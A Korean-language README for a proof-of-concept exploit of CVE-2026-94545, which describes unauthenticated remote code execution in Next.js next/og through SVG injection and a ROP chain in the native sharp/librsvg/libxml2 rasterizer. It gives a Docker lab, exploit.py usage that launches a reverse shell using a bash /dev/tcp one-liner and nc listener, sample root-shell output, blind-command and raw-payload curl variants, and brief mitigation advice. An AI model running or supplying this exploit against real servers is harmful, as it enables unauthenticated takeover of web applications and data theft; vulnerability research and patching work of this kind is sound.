
CVE-2026-94545에 대한 개념 증명 익스플로잇으로, SVG 주입을 통한 Next.js next/og의 인증되지 않은 RCE와 네이티브 sharp 래스터라이저에 대한 ROP 체인입니다.
★ CVE-2026-94545 Next.js next/og SVG 주입을 통한 네이티브 RCE ★
https://github.com/user-attachments/assets/e297b40b-36ad-4a9a-b0c1-a64429bc0160
next/og는 JSX를 Satori로 SVG로 렌더링한 다음 그 SVG를 래스터화하여 Open Graph 이미지를 생성합니다. Satori는 사용자가 제공한 텍스트를 이스케이프하지 않고 SVG에 기록하므로(CWE-116), 요청이 주변 요소를 닫고 자체 SVG 마크업을 주입할 수 있습니다. 라우트가sharp가 설치된 Node.js 런타임에서 실행되면, 해당 SVG는 샌드박스된 wasm 렌더러가 아닌 네이티브 라이브러리(libvips, librsvg, libxml2)에 의해 래스터화됩니다. XInclude 참조와 중첩된 DTD 엔티티로 구성된 페이로드는 해당 네이티브 파서 내부의 메모리를 손상시킵니다. 공식 Node.js 바이너리는 non-PIE이므로 코드와 GOT가 무작위화되지 않으며, 고정된 ROP 체인이 주소 유출 없이execve에 도달합니다. OG 이미지 라우트에 대한 인증되지 않은 단일 요청만으로 서버 프로세스로서 명령을 실행하기에 충분합니다.
| Category | Version |
|---|---|
| Vulnerable | Next.js 16.2.0 – 16.3.5 (Node runtime, sharp present), Satori >=0.0.27 <0.33.5 |
| Patched | Next.js 16.3.6 / Satori 0.33.5 or later |
Node.js 런타임 경로만 영향을 받습니다.
export const runtime = 'edge'를 사용하거나sharp없이 설치한 경우, 이미지는 샌드박스된resvg-wasm 렌더러에 의해 그려지며 이 버그는 코드 실행으로 이어지지 않습니다.
ImageResponse에 전달하는 모든 라우트가 싱크입니다.execve는 워커를 대체하므로, HTTP 요청은 단순히 종료되고 결과는 리버스 셸이나 외부로 통신하는 명령 등 다른 방법으로 돌아와야 합니다.취약한 구성을 재현하는 최소한의 Next.js 앱입니다. /api/og의 라우트는 Node 런타임에서
ImageResponse를 렌더링하며, 네이티브 래스터라이저가 사용되도록 sharp가 설치되어 있습니다.
이미지는 ROP 체인이 의존하는 정확한 스택을 고정합니다(Node 24.20.0 non-PIE, Next 16.3.5, sharp
0.35.4 with libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3). 첫 빌드는 Node를 가져오고, npm
의존성을 설치하며, next build를 실행하는데, 이는 몇 분이 걸립니다.
docker build -t cve-2026-94545 .
docker run -d --name cve-2026-94545 -p 3000:3000 cve-2026-94545
# sanity check: a benign render returns 200
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:3000/api/og?value=hello"
| Precondition | State in this lab |
|---|---|
| Next.js 16.2.0 – 16.3.5 on the Node runtime | Next 16.3.5, runtime = 'nodejs' |
sharp installed, so the native librsvg/libxml2 path is used | sharp 0.35.4, libvips 8.18.6, rsvg 2.62.91, xml2 2.15.3 |
| Non-PIE Node binary for a stable ROP base | official Node v24.20.0 linux-x64 (SHA-verified) |
| OG-image route reachable without auth | GET and POST /api/og, request text goes into an SVG <title> |
| Outbound path available for a reverse shell | bash and /dev/tcp are present |
취약한 라우트는 POST /api/og입니다. 이는 요청 본문을 받아 래스터화 전에 SVG <title>에
배치합니다. exploit.py는 선택한 명령에 대해 해당 SVG를 생성하고, ROP 체인을 <path>에
인코딩한 뒤, 이를 라우트로 전송합니다.
가장 간단한 실행은 리버스 셸을 엽니다. 대상과 리스너 주소를 지정하면, nc를 대신 시작하고,
요청을 발사하며, 셸을 넘겨줍니다.
python3 exploit.py --target 172.17.0.3:3000 --lhost 172.17.0.4:4444
페이로드는 Environment에 나열된 스택에 맞게 보정되었으므로, 이 이미지나 동일한 Node 및 sharp 빌드를 가진 호스트에 대해 실행하십시오. 성공하면 node 프로세스가 명령으로 대체되며, 이는 HTTP 요청이 종료되고 컨테이너가 재시작될 때까지 서비스가 응답을 중단함을 의미합니다.
[*] Command: bash -c 'bash -i>&/dev/tcp/172.17.0.4/4444 0>&1' (49 bytes)
[*] payload bytes=24693 sha256=...
[*] Listener: nc -lvnp 4444
[*] POST http://172.17.0.3:3000/api/og (24693 bytes)
[*] Target closed connection (expected)
connect to [172.17.0.4] from (UNKNOWN) [172.17.0.3] 43118
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 6e2b1c4a7f9d 5.15.0 #1 SMP x86_64 GNU/Linux
리버스 셸은 서버 프로세스로서 실행되며, 이는 인증되지 않은 단일 요청으로부터의 코드 실행을 확인합니다. 리스너 없이 하나의 명령을 실행하려면 직접 전달하십시오. 출력은 HTTP로 반환되지 않으므로, 명령은 보고 싶은 모든 것을 대역 외로 전송해야 합니다.
# single command, no listener
python3 exploit.py --target 172.17.0.3:3000 --command "id"
# only build the payload, then send it yourself
python3 exploit.py --target 172.17.0.3:3000 --command "id" --output payload.bin
curl --data-binary @payload.bin -H "Content-Type: text/plain" http://172.17.0.3:3000/api/og
next/og 라우트를 export const runtime = 'edge'로 이동하여 샌드박스된 wasm 렌더러가 사용되도록 하거나, sharp를 제거하여 네이티브 경로에 도달하지 않도록 하고, 정제되지 않은 사용자 입력을 ImageResponse 자식에서 배제하십시오.